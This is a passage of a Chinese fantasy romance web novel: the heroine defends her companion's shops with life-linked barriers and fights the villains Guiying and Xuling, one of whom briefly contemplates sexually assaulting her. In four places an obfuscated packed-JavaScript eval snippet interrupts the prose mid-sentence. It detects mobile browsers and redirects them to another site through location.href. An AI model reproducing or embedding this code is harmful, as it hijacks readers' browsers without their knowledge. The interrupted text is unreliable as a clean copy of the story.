可若是说有,也是有人信的。毕竟那几个音是固定的,是本身就存在的,而让他们变成曲子流传千古的,是人。 是集美学与情感之大成的那群人。 是承载在世间最可贵的名为灵魂的事物的那群人。 所以,这次轰动赤缇的事件,与其说人们保护的是一首曲子,不如说保护的是创作曲子的人。 ——他们保护的绝不仅仅是流传民间的《落雪歌》,而是在背后创作了此曲的那个有着活生生灵魂的人。 文落诗早就说过,随口造谣的成本很低,但澄清的成本太高。 但幸好,这里是赤缇城。 一个孕育了无数梦想的城,自当保护这些梦想,和那些做梦之人。 * 又过了几日,虚灵的劣迹几乎内人尽皆知,再也不愁他有翻身的余地。 长晓派人简单打听了一下,月影酒楼的雅间这几日依旧锁着门,也就是说,归影并没有走,虚灵也还在。 于是,他和文落诗一商量,决定再等等,以防万一。 文落诗自然同意。又不着急走,总算处理完了棘手的事情,帮长晓恢复了名声,终于可以闲下来好好在这座城里看看了。 至于虚灵,就让他自生自灭吧! 长晓这几日尤其忙,而且夜不归宿,偶尔用翠玉传意石给文落诗传来几行字,问她怎么样,顺便告诉她晚上不回来。 文落诗也很清闲。长晓不在扶桑楼里,何掌柜有事就来找她,她从一开始极为不适应,到现在已经得心应手,搞得自己真像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350855|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女主人一样。 这日早上,长晓难得回来一趟。文落诗也难得没赖床,特意早起。正打算出门,和他在院门口撞了个正着。 然后文落诗连转头走掉的机会都没有,就被他一把搂进怀里,抱了好半天。 “好几日不见,一点都没想我?” “没有,”文落诗使劲从他的怀抱里挣脱,奈何无济于事,干脆撇嘴,“一点都不想,你不在,我可清净了。” 长晓的手掌慢慢移到她的乌发之上,捧起她的后脑勺,胁迫她仰起头,一丝不苟地看着他。 然后,两副面孔越来越近,鼻尖几乎贴上。 “哦,是吗?” 他声音懒散,闲淡,漫不经心。 但是文落诗明显感受到,她若是再否认,保不齐他接下来要做什么。 “想想想,可想你了。” 她妥协,她认输,让她说什么就说什么。 “太敷衍了。”长晓眼眸一眯,意味深长。 “说正事,这两天你不在,我刚想起来,你带我参观的那些店铺,应当都是明面上的,但你在赤缇肯定还有不少暗线吧?这些暗桩,归影知不知道?会不会有危险?” 文落诗一脸正经,哪怕和他贴得极近。许是她过于严肃,反倒显得像长晓在不断轻薄她。 长晓无奈松开她,道:“有不少,准确来说,很多。但是除非主动暴露,否则,我不信别人能查出来。” 文落诗点点头,心道也是,他有这个能力和底气。 “怎么突然关心这个?” “虚灵这几日都没有动静,归影也一声不吭,依我经验,不太正常。我总觉得,有什么大事在酝酿着。” 长晓轻笑:“想多了,他们还不敢跟我正面硬碰硬。” 文落诗再次点点头,但愿她直觉是错的。 然后她就高高兴兴挣脱了长晓的怀抱,去街上逛悠了一整圈。 * 这日下午,长晓忽然来找她。 “我得回融雪一趟,出了点事情。可能有几日不回来。” 很少见他如此严肃,文落诗暗暗一惊。两人在一起旅行这么久,这还是第一次长晓提出需要回到九重天融雪城。 应该是很急的事情,而且他不得不亲自跑一趟的那种。 “好,这里交给我,你放心。” 文落诗在关键时刻从来不掉链子。 长晓走后,文落诗趴在桌上看话本,百无聊赖之际,忽然收到一道匿名的黑影传信。 大约是时间过于凑巧。算着这个时间,长晓已经到了九重天之上。忽然有不认识的人单独给她来信,文落诗预感不妙。 她挥挥手,黑影显现。 对方只说了一句话。 “天黑之前主动找来,否则,所有产业一个不留。” 文落诗就知道,出事了。 不用猜也知道是归影,而这回的目标就是她本人。 她盯着这行字确认了半天,确定对方的意思是,长晓手下的所有产业,和产业里的人。 此刻,距离天黑,还有不到半柱香的时间。 96. 一曲高歌动红绸(十五) 她刚要起身,就见何掌柜匆匆忙忙跑来。 “文姑娘,出事了,有铺子私下来报,说像是被人盯上了。” 文落诗深吸一口气,跟他说了自己刚接到的信。 何掌柜一听就急了,几乎全身颤抖:“要不要给主子传个信?” “快传,把我这件事顺便也说了。给所有店铺传信,关店,自保。” 文落诗知道,扶桑楼是长晓在赤缇城中产业的核心,因而何掌柜看似只是一个乐坊的管事,实则是大大小小所有产业的动态掌舵人,因而,赤缇城中有什么事情,全部会汇总到他这里。 她用最短的时间想出一个对策,然后披上斗篷就准备出门。 “另外,散了所有宾客,封楼。” 何掌柜双眼睁大:“若是现在封楼,再加上所有商铺同时关店,不等同于直接像所有人暴露了吗?” 赤缇城歌舞升平已久,各大乐坊和商铺都绝不会天黑就关闭,而是会营业到天黑后好一阵。此刻全部商铺同时提前关门,是个有脑子的人就能发现问题,没准还能猜到背后是同一个主子。 “总比出人命好,”文落诗深叹一口气,“何况这些都是明产,就算知道了也不会有大问题。” 说罢,她内心一阵惊讶。 这语气,好像这些产业真是她名下的一样。 不过,此时此刻,长晓不在现场,而且几乎没可能赶回来,她抱着一种死马当活马医的态度,强撑着端起那一份决绝,下定决心要当好这个主事人。 何掌柜知道文落诗着急走,却还是忍不住道:“文姑娘,他的目标很明显是你啊,你若是躲在楼内,大家伙还可以帮你挡一挡,扶桑楼有阵法的,你这是真的要去……” 太明显了,这就是个明晃晃的陷阱,逼着文落诗自己往里跳。偏偏,在这种不清楚对方实力和势力的情况下,明知是陷阱,她也不得不跳。 “我当然得去,”文落诗眼神中露出一丝坚毅,“怎么可能让你们帮我挡?相反,我只要在这里一刻,就会把所有人都护住,所有人。” 她特意强调了,所有人。 何掌柜大惊:“但姑娘你怎么可能……” “我很厉害的。”文落诗浅笑一声,“你们主子都夸我法力高强呢!” 虽然,这话,她自己心里都没底。 前些日子从长晓处得知,归影已是融雪之人。文落诗毕竟尚未达到融雪之境,若是归影的实力不虚,那她铆铆劲,估计也只能和归影打个平手。 确实有五道之中战力巅峰之人赢下融雪之人的先例,但越境取胜的可能性毕竟太小,一般人在融雪之人面前,纯属是一击即溃的灰尘。 至于赢他,更是几乎没可能。 现下只希望,归影的融雪之境是靠各种灵丹妙药堆出来的,有名无实,外强中干,那她还尚且有一战之力。 正想着,又一个小伙计匆匆忙忙跑来,差点一个趔趄摔在地上。 “不好了不好了,茶坊里有个小伙计被绑了!” 文落诗正在动手施法,准备给扶桑楼设结界,何掌柜正准备去给长晓传信。见这个毛毛躁躁的小伙计跑来,文落诗更是心下一慌。 “别急,你先去帮何掌柜,把扶桑楼里的宾客散掉,然后通知后院坊间的所有人,包括自己人和外面来的学生,全部留在原地,谁也不许动。” 既然是来扶桑学习曲乐的,也算是站在扶桑楼这边的人,那必然也会被波及。干脆一刀切,谁也别出楼去往麻烦上撞,不然就真救不过来了。 这种时候,谁先慌掉,谁就彻底输了。文落诗得保证她不能慌,最起码,她就算真的慌,也得坚持到最后一刻再慌。 那小伙计连连道好,又跌跌撞撞跑去前楼。 文落诗继续凝固力量,任由身体周围粉烟打转,开始制作结界。 不一会,何掌柜赶来:“文姑娘,后院已经封死,楼里所有宾客全部遣散。” 还有半柱香多一点。 天色渐渐沉下来,太阳已经踩在地平线上。冬年里天黑得早,空气中已经染上淡淡的灰色,不知不觉中,人影变得模糊,景物失去轮廓。 文落诗闭眼已久,此刻,身侧粉烟浓得遮住她容貌,把她红色的衣裙牢牢围住。 忽然间,那双明亮双眸睁开,弹指之间,一道剧烈粉烟直击空中,再从空中四处扩散,在扶桑楼的周围烙下坚固不可催的结界。 整个扶桑楼方法处于一个泡沫之中,淡粉色的,还冒着缕缕轻烟。 “成了,”文落诗起身,准备出门,“这道结界与我的命相连,只要我活着,不收回法力,结界就不会消失,也不会有人能闯进来。” 何掌柜仰头往来往天空,震惊得说不出话来。 日影西沉,今日晚霞并不明显,故而天空灰蒙蒙一片。而这道粉色结界,像是阻断了所有外界的压迫感,将整个扶桑楼牢牢护在里面。 “文姑娘,你……” 早在自家主子将文落诗带回来时,他就猜到,这个女子,既然能让主子青眼有加,定然有足够的过人之处。只不过她平日里温婉娴静,甚至看起来柔柔弱弱的,笑容也软绵绵的,怎么看也不像大众印象里很强的那类人。 前些日子,她从头到尾帮主子谋划了一切,何掌柜就知道自己的预感没错。她实则厉害到了极点。 但是今日,他实属再次震惊。他没想到文落诗的修为这么高。 “我先走了,别担心,外面所有产业我都会护上结界。你们主子估计短时间之内不会回来。就算回来,一路从九重天下来,也至少一个多时辰,我这边……他赶不上的。我不在,你们所有人都尽量稳住。” 好像也没有什么要嘱咐的了。 文落诗知道自己要面对的是什么,她甚至知道,自己有可能……有去无回。 但此时此刻,她脑子里唯一的想法就是,替长晓保下这里的所有人。 说罢,她便化作光影离去。 何掌柜愣了半晌,忽然想到,还没问她要去哪里。正欲跑上前想叫住她,却已然晚了。 * 距离太阳彻底落山,还有半柱香。 幸好文落诗初来赤缇城时,对各处都新奇,长晓领着她把各处产业都巡逻了一圈。 现在想想,真是一阵心悸。 得亏有这个经历,而且她记性好,此时,长晓所有明产的位置和名字她都记得,不用再去现场查找和整理。不然时间真的来不及。 半柱香,够了。 文落诗几乎是连着冲到各个商铺面前的。这些商铺大多都得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355393|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何掌柜的传信,此刻大门紧闭。偶尔有在门缝里扒着看的小伙计,发现来的是文落诗,大大松了口气。 她一刻也没停,每道一处,就施法设界,从赤缇城北面到南面,十几家商铺,加上一处酒楼、一处茶楼、五六个琴社,粉烟的浓烈程度丝毫未减,反倒接连不断晕开,将每一处都护得严实。 长晓手里的人没有差的,这是文落诗平日里的第一印象。如今看来,这话不虚。她路过的产业,施法设界之时,里面的人相当会审时度势,几乎一个眼神就猜到了她要做什么,二话不说,默默配合,甚至有几家特意出来告诉她,说无关人员已经全部散了,自己人也保护好了,问她需不需要帮忙。 文落诗都笑着摇摇头,说不用,让他们无论如何,关好门,躲在结界之内。 偶尔有几个怯生生的声音问她:“如果结界被攻破了怎么办?” 文落诗肯定道:“不会的。只要我还活着。” 她最后去了那处已经被波及的茶坊。 四分之一炷香。 情况比她想象得差,不仅是一个小伙计被绑,大多数人都被敲晕了,而他们身边,凛然站着几个身着黑袍的人,斗篷遮住脸,看不出是谁。 他们的周身萦绕着肆虐的黑气,杀戮之意尽显。天色已晚,日光不再,茶坊中未点灯,一片尸横遍野中,几人像是欣赏自己的战利品一样,打量着倒在身下的伙计们。 见文落诗提着裙摆踏进来,他们互相看了一眼,忽然间全部消失。 文落诗知道,这是归影给她的最后通牒,强逼她现身,让她无论如何都没得选。 她俯下身,探了探一个小伙计的鼻息,发现只是他晕过去,心里松了一口气。事不宜迟,她迅速唤出一瓶药,给他喂了下去。 没过多久,小伙计就醒了。他一睁开眼,看到文落诗的脸,先是愣了一下,随即立刻坐起身,嘴角颤抖地开口:“多谢夫人相救……” 文落诗一下子没反应过来,以为他不认识自己是谁,连忙解释道:“我是你们主子的朋友,你们这里遇到危险,有人给扶桑楼传信了。” 说完她心里纳闷,不是当初参观的时候,很多双眼睛都盯着她看,还看了很久吗?那些眼神,势必要把她的这张脸牢牢记住一眼。这才过几个月,还就真不记得自己是谁了。 她完全没去想另一种可能。 小伙计连连点头:“传信的人就是我,刚传完信,我就被打晕了。” 文落诗见他知道情况,便不做多解释,给他手里塞了一瓶药:“拿这个药,给每人嘴里喂一粒,如果只是被打晕了,很快就能醒过来。如果还是没醒过来……你们先待在这里不要动,等我回来。我设好结界,千万别出去。” 小伙计一看就是个动作利索的,痛快站起身,开始拿药救人。 而此刻,屋外的夕阳距离全部沉下地面,还有一道模糊的边缘。 文落诗随手在茶坊外丢了个结界,阴沉的天空之下,茶坊瞬间泛起层层粉光。 然后,她化作一丝光束,以生平最快速度,冲向月影酒楼。 她在酒楼前显现出身型之时,周围的街道上空无一人。天色完全黑下来,压得整条街道都喘不过气。抬头再次看向这个熟悉的匾额,她嘴角讽刺一笑,大步向里走去。 97. 一曲高歌动红绸(十六) 月影酒楼内没点灯,只有最深处的柜台上亮着一刻夜明珠。昔日给她拿豆浆的掌柜稳稳当当站在后面,好整以暇地看着文落诗进门,像是终于等到了一般。 而文落诗连个正脸都没给他,只是轻飘飘地说了一句:“掌柜的,您家制作豆浆的水准真是让我不敢恭维,若有如此水平,还是留着自己喝吧。” 许是这语气太过于傲然,再配上文落诗那张冷艳的脸,以及那双含着凌厉杀意的眸子,掌柜腿脚发软,那股从容的面色再也绷不住,尽数塌陷。 他显然是害怕文落诗的,她从身边走过,划过一阵冷风的时候,掌柜生生往后退了一步。 而文落诗径直绕道过柜台,一脚踢开通往后院的门。 一声轰天巨响,木门闩骤然碎裂成粉末,飘然落地。 她拿出了当年孑然一身闯荡江湖的气势,把“来者不善”四个字写在脸上。 进了后院,她看到两个陌生的面孔,正在院子里石桌前散漫地坐着,顺便看着远处的更漏,像是计算着时间。 “哈,你可是来晚了,天已然黑了。” 说话的自然是归影。文落诗见他轻蔑地转过头来,不由得眯起眼,细细打量他。 院子里点了很多颗夜明珠,角落里也有地灯,可黑夜降临,想要看清一个人的眉目并非容易之事。好在文落诗修为高超,借着微弱的光线,把归影的每一根发丝都看了个遍。 他穿身妖艳的紫袍,长袖顺着身型流下,一看就是上好的绸缎,在地灯前翻着丝丝光亮。他未系任何氅裘,一双纤长的眼懒懒散散挑起,审视着这个自投罗网的猎物。 文落诗身上的气势丝毫不输,却没有直接回答他,而是居高临下地睥睨着他身边的人。 “怎么,输得不够惨烈,还需要我再亲自来添一手啊?” 她语气冷然,目光中的锐利更加凌烈,语气确实开玩笑一般,像是根本不把他放在心上。 不用猜也知道,这人当然是虚灵。 文落诗只是没想到,事到如今,虚灵居然还在归影这里。她心里纳闷,归影这种人,看虚灵没有任何利用价值了,难道还会跟他多废话? 虚灵面色略显苍老,身上裹了绒毛的大氅,几丝花白的头发扭曲在黑发上,歪歪垂下。见到文落诗,他干瘪的嘴角一扯:“文姑娘好大的口气。” 文落诗挑眉:“哟,都查到我叫什么了,看来没少费功夫。” 长晓手里的人她信得过。要是想查到她是谁,对方估计得损耗不少。 突然,归影站起身,咧开在夜色下暗得发绿的嘴角,嗤笑道:“我查了又查,发现你的过往一片真是空白啊。如今我还真挺好奇,你到底哪一点值得被人高看一眼?” 他用最平常的讥笑的语气,说出了毫不留情的话。 见她面色自如,归影忍不住又补充了一句:“哦,除了脸。说不定还有身子。” 文落诗本来只是心下一空,如今听到这话,牙关不经意间一颤。 随即,归影“嘶”了一声,发现自己的手被不知哪里冒出来的暗器伤了。 文落诗没看他。她虽然面色不显,但确实被归影这话刺激到了。 过去很多年以来,认识的人、不认识的人,都倾向于将她贬低到一无是处。因为她出身太普通,因为她选的道太被看不起,因为她想做的事业在别人眼里不值一提。 那时候甚至都没人夸她漂亮。 曾经有那么一段时间,她自暴自弃,信了这些人的话,觉得自己什么也不是,什么都不值得。那段时间,别人因为她是露烟之人而欺负她,她都咬着牙不还手。 万般窒息之中,她干脆将这些情绪抛家傍路,离开第七重天的故乡,开始走南闯北,去看看能不能收获最后一丝希望,去看看还有没有必要继续坚持下去。 后来她挺过来了。 从当年在稀音城遇见长晓之后。 具体是她靠自己活过来,还是长晓叫醒了她,还是二者都有,其实解释不清楚。 她曾以为自己是一张可以被毫不留情碾碎的白纸。可后来有人告诉她,她值得。 她值得被认可,被欣赏,被夸赞,甚至……被爱。 以前那些算什么。曾经不被看好又算什么。不是都挺过来了吗。 而且现在她活得很好。也能让更多人活得更好。她有喜欢的事业,有喜欢的风景,有喜欢的日子,也有喜欢的……人。 若是以前,归影这些话能将她直接击垮,让她再无还手之力。可如今的她,早就不是当年在稀音城连住个客栈都要被赶出来的人。 只听她冷笑一声,从容抬眸,带着无限嘲意:“你们两个可真是大言不惭啊。这些天输得这么惨,早就是我的手下败将了,居然还觉得有资格来评判我?” 归影眼眸一眯,像是想到什么。而他身边的虚灵一听就坐不住了,连忙站起身,抖抖袖子,苍老突兀的眼珠中,藏不住的惊讶流出。 “你的意思是,这些天害我落魄至此的局……有你的参与?” 文落诗“哈”一声,嘴角弯起:“什么叫有我参与?哦,你们以为一直是长晓出的手啊?他那么忙,就你们,也配?” 夜色降临,月影缓缓升起,在文落诗身后洒下一道姗姗而来的浓郁红光。 她今日身着一袭正红色的衣裙,外面披了个浅红色的斗篷,上缝几丝波涛般的金纹。月光笼罩在身上,氤氲开淡红色的薄雾,更是显得她恍若傲然凌于一切之上的凤,容姿无双,压倒性的气息涌出,远远望去,只会觉得她强大到不可侵犯。 乌黑的睫毛微垂,她像是无甚在意眼前的挑衅者,只拿他们当挑事未成的跳蚤。 这下连归影都是愣了半晌:“从头到尾……全是你做的?” 文落诗都懒得抬眼:“不然呢?” 她冷然嘴角一撇。 这俩人居然到现在才知道,他们一栽再栽,是拜她所赐啊。 文落诗只觉得好笑,当时来买豆浆,这俩人很明显是暗中见过她的,估计这些天对她无甚在意,只当她是个空有美人皮子、实则毫无价值的人。她以为他们怎么也能猜到一点,谁想到他们全然不知,还这么自以为是。 怪不得他们输得惨烈。早知道这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368025|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她收收力气,少出点手,还能多睡会觉。 虚灵不说话了,如同一块干老的木头,马上要被抽干了水分一样,眉头皱成年轮的纹路,杵在一旁。 归影则是若有所思。只见他眼眸微动,忽然间手一抬,唤出一块巨大的石镜,猛然向文落诗脚边砸去。 文落诗手指轻轻一抬,将石镜周围缚上粉烟,稳在距离脚趾一寸处的空中,然后缓缓放在面前地上。 这东西她曾经在长晓手里见过。 临渊寻魔石。 只是没想到,归影手里竟然也有。 看样子归影的地位可不低。哦,或者说,他伺候的那位主子,地位可不低。 文落诗越想,越觉得一个匪夷所思的猜测在逐渐得到证实。 “我果然没猜错,露烟是吧。”归影冷笑一声,全身上下每一处都散发着对她的鄙视。 文落诗懒得在这件事上与卑鄙之人费口舌,只是静静看向石镜。 突然间,一阵刺眼的蓝光闪出,文落诗下意识闭上眼。再睁开之时,只见石镜上闪过楼宇、街道、以及房檐上的红绸。 皆是她来之前去过的地方。 换言之,全都是长晓手里的明产。 这些产业的四周,全部牢牢架着一层粉红色的结界,是她方才设下的。 他早就在监视着所有。 文落诗心中一紧,意识到归影此人,恐怕比想象中还要难对付。 归影端详着她的表情,狞笑道:“妇人之仁。自身难保,还要拿出这么多精力去护一群废物。也不知道最后你们谁先倒下。” 文落诗咬紧牙关,却知道他说的是事实。 长晓不在,她单枪匹马,还要分出去至少一半精力,去维持二十多个结界。 她需要用自己仅仅一半的魔功,去对付这个修为可能本就远在她之上的人。 太悬殊了。 而此刻,归影身畔流动起蓝色的光芒,一步一步紧逼走向文落诗。只听他轻笑一声,忽地,向空中抛去一物。 文落诗反应过来时,连忙施法去截,可那道粉烟终究晚了一步,黑不见顶的夜空中,瞬间炸开鎏金烟火。 传信的烟雾弹。 在她还没想明白怎么回事之时,石镜里的景象已然变了。 无数黑影从不知何处涌出,齐齐攻向每一处结界。他们周身的黑色魔气游走着,贪婪地腐蚀结界之上的粉光,没过多久,结界的光变弱了。 而与其同时,文落诗身上的体力在迅速流失。 为了最大程度上保护所有人,她设下的所有结界,都是与她的性命相连。她在,结界在,而反过来,如果结界被攻击,那些伤害全部会施加在她身上。 此刻,二十多处结界同时被攻击,文落诗身上瞬间气息不稳,手攥紧了拳。 她感受到自己的体力在迅速流失。 归影是故意调出临渊石镜,故意让她看到她的心血在被逐渐摧毁。 他在一旁好整以暇,语气疏懒:“还不舍得撤结界啊?依我看,再这样下去,都不用我出手,你身上的魔功就能被抽干了。” 98. 一曲高歌动红绸(十七) 文落诗低着头,重重喘了一口气。 不行。 绝对不能撤结界。 现在撤,奉上的是所有人的命。 长晓手里的这些人都是酒楼伙计、商铺掌柜,完完全全是做工的普通老百姓,不是用来打架的,没什么战斗力。可归影不知道从哪里调来了这么多人,看起来还是训练有素的暗卫,实力个顶个地强。而且人还不少,愣是能做到每个结界前都有两三个人在卖力。 扶桑楼面前的黑影最多,大概有快十个。 文落诗的呼吸急促起来,她强忍着身上法力流失的痛楚,暗暗稳住所有结界。 不能倒下。 绝对不能。 既然长晓不在,她就再尽力撑一次。反正之前说好,这次的事情全盘交给她,现在这种意外情况,就当是余音未了,还需要再多费点功夫。 哪怕是硬撑。 归影见文落诗面色有些变了,不由得一笑,语气神神秘秘:“对了,再告诉你件事。可千万别想着有人来救你啊。人是我想办法调走的,现在他被一团事情缠着,短时间之内根本回不来。” 文落诗倏然抬眼,只觉全身一冷。 对啊,她早该想到的。 长晓早不走,晚不走,偏偏这时候遇上麻烦事,还是得亲自回到九重天融雪城中处理的事情,怎么可能这么凑巧? 归影今日的目标,就是在确保无人能帮她的情况下,一击即中,将她置之死地,再无生路。 不管是为了刺激打击长晓而杀她,还是为了虚灵的事情一雪前耻、出一口恶气而杀她,总之,今日归影逼她主动现身,就是想着取她的命。 石镜中,黑影的身法超绝,群起而攻之,结界粉光减弱,开始有摇摇欲坠之势。 文落诗只觉得身体中血液翻涌,全身灼热,痛苦难耐。 归影似乎很喜欢欣赏文落诗忍着痛苦强撑着的表情。他凑上前去,仔细一看,啧啧两声,像是饱餐一顿的餍足。 只听他继续用玩笑的语气、带着刺的语调挑衅道:“呦,还能撑啊,那我再说两句。我还真没想到虚灵这事是你出的手。我以前倒是不知道,他那样大名鼎鼎的人物,原来这么窝囊废物。遇上事情,天天躲在那个破扶桑楼里不敢出来,居然需要他的女人来保护他。” 说罢,他假模假样凑上去,一看临渊石镜,一副不得了的的表情:“哦,眼下又一次啊,手里那群人,又得靠他女人才能护着。” 文落诗知道,归影是想不断刺激她,让她心神混乱,不攻自破。 但她也知道,此刻的阵势,强撑着并不能解决问题。若是尽快铆足力气,奋力一战,说不定还有一丝生机。 ——带所有人活下来的生机。 速战速决这个词怕是都不合适。她知道恐怕无法凯旋,但是,早出手一刻,趁着体力还没有完全流失,就多一丝希望。 更何况,归影那些话,她早就听不下去了。 她长长的睫毛掀起,死死盯着依然笑眯眯的归影。她眼中私有冰凌万千,将他千刀万剐,抑或是生生吞噬。 直到归影被她冷到极致的眼神盯得笑容顿住,她才漠然开口: “第一,我还没输,话别说得太早。第二,我不是他女人,别胡乱污蔑。” 归影和虚灵皆是一愣。 “虽然其实我懒得解释,但为了他的名声,我还是多说两句。我和长晓在一起同游好几年了,但就如同你和虚灵一样,只是朋友,没有任何别的。你想多了。” 她说得冷静至极,归影见她这么淡定,且语气诚恳,他听了之后,眼珠子转个几圈,颇有些信了。 归影似乎极为认真地想了想,得出结论:“倒也是。他跟块朽木一样两千多年了,确实不该忽然开窍。” 文落诗实在不想多废话了,趁归影思考之际,右掌中粉烟涌出,直击他命门。 同时,她左掌取夜空中之露水,结了个冰凌,趁虚灵还未反因过来之际,抛向他额头处。 归影连忙正色起来,全身上下蓝光乍起,恶狠狠迎上文落诗的攻击。 而虚灵就没这么敏捷了。那冰凌眼看着就要袭来,他双眼中恐慌,还没来得及出招,就后退一步。不料,恰巧踩住自己的衣角,整个人重重向后一仰,摔了个底朝天。 归影愣了下,似是没想到虚灵这么弱,还没出手,反倒先倒下了,还是自己给自己摔的。 那冰凌顺势而下,直击虚灵额头,给他致命一击。 而这边,归影和文落诗已经过了十几招。 虚灵眼神开始模糊,手臂强撑着地面,不让自己全然躺下。他好似一章本就老旧、又即将散架的木桌,还是堆满灰尘的那种。 文落诗知道虚灵肯定弱,但也确实没想到他这么没骨头。她本想着二对一不占优势,那就先解决掉虚灵,好让她全神贯注和归影一对一。故而,她那一道冰凌上,耗了不少修为。本想着一道猛力下去,直接打倒虚灵,让他在此战中再也无法出手打扰,但现在看来,她似乎……用力过度,多给他面子了。 归影和她都不再搭理虚灵,任由他在地上撑着一摊烂骨头观战。 文落诗的体力在迅速流失,几乎是以迅雷不及掩耳之势、光速之快,抽丝剥茧般逃离她的躯体。而归影则面色轻松含笑,小打小闹一般使出蓝光,对上文落诗的攻击。 他故意让临渊寻魔石横在二人中间,石中光影闪烁不断,皆是商铺前结界被大力攻击至虚弱的场面,还时不时换一处商铺,换一处狼狈呈现。他就想让文落诗看,使劲看,多看看。 “姑娘啊,”归影嗤笑,“我是看出来了,你修为真不低。我毕竟融雪,你能在我手留支撑这么久,连血都没见,已经很是不易。把这些结界撤了,好好跟我打,说不定你还不至于死得那么惨。那么那么——惨。” 石镜里一道光闪过,文落诗余光中看见,一处结界就要被攻破。 而那个商铺里,一个小伙计哆哆嗦嗦趴在门缝前,眼中泛着恐惧至极的血丝。 真是顾此失彼。她若是现在匀出体力去巩固结界,那必然会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381258|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接硬生生吃下归影这一道攻击。而她若是不管结界…… 只见光芒再次闪动,石镜画面中,粉色结界裂开一道口子。 文落诗喉头处涌上一股腥甜,再也按耐不住,墨绿色的鲜血从嘴角溢出。 但她没收结界,反而一咬牙,隔空念诀,将结界补上。 而这一罅隙,归影的攻击蓝光趁虚而入,径直击打在她胸口处。 她连连后退好几步,忍不住伸手捂住胸口,吐出一口血,眉头紧锁,虚弱地喘着气。 此时的她,早已不复彼时月光下的丰仪与挺立,反倒头发有些蓬乱,身上的斗篷也有些松垮。她指尖白得几乎透彻,脸上也毫无血色,嘴角在不住地颤抖着。脑袋歪着,一支白玉发簪从青丝之间滑落,清脆一响,摔碎在地。 归影戏谑地挑了挑眉,随即手在空中随意一挥,文落诗身上的斗篷瞬间碎成了片片绒毛,缓然从身体四周飘摇奔向地面。 仿佛一场淡红色的、柔软的雨,轻轻飘落。 归影站在她面前,见她虚弱狼狈的眼神闪烁,柔软的身躯上只剩下一层红色的薄衣裙,窈窕的身型被半空中淡红绒毛掩映,一时间,破天荒地开始想,这个姑娘确实漂亮。 太漂亮了。 他盯着眼前人,忽然之间,就有了点别的想法。 好像也不用把她直接杀死?若是把她抓起来,废了修为,绑在床榻上,让自己去享受一番,说不定也不错。 而文落诗这边。 斗篷没了,仲冬最冷之时的冰寒夜风将她席卷,加之修为流失,周身护体的魔气不再,刺骨的冷意快速遍布全身。 方才种种打斗、挑衅、刻意侮辱,都没给文落诗气到,斗篷没了这件事,倒是真给她气到了。 “这是我自己缝的斗篷……缝了一个多月……” 她几乎是咬牙切齿,甚至不顾上身上的寒冷,与牙缝间迸发而出的鲜血。 可她越生气,归影脸上的笑意就多一分。 “哦,是吗?你自己缝的啊。” 他笑得猖狂、狡猾、猥.琐,笑到最后,文落诗连猜都不用猜,就看懂他在想什么了。 她重重咽下一口血,眉目紧锁。 “就算我今日败了,也会死在你的所有想法之前。” 哪怕是最后自尽。 总之,你想也别想。 归影很是不以为意,甚至摇摇头,“嘶”了一声,盯了文落诗半晌,眼神逐渐落在不该落在的地方。 “文姑娘啊,你最后怎样,恐怕不是你说了算的。我有的是办法,让你自尽无门。” 随即,他指尖一挑,酒楼后院的暗处忽然冒出了十几道黑影,以及一群持刀乱舞的酒楼小伙计。 文落诗一看那架势,就知道是归影不知何时藏好的护卫,各个法力高强,身形敏捷,向文落诗袭来。 而那群小伙计……估计是月影酒楼里的人,急着在主子面前立功求赏。 有些滑稽。 文落诗看着这一幕,忽然有些想笑。 99. 一曲高歌动红绸(十八) 文落诗看着这一幕,忽然有些想笑。 这还真是她第一次,对上一股强硬的势力——是那种她往日在话本里看过无数次的暗卫,听从某个大人物的调度,去攻击目标之人。 她本以为,这种一堆人来杀她的场面,她一个小平民女子,也不惹事不招人的,一辈子不会遇到。 谁想到还真就眼见为实了。 不仅真真切切遇上了,还是孤身一人遇上。 话本里怎么说的来着? 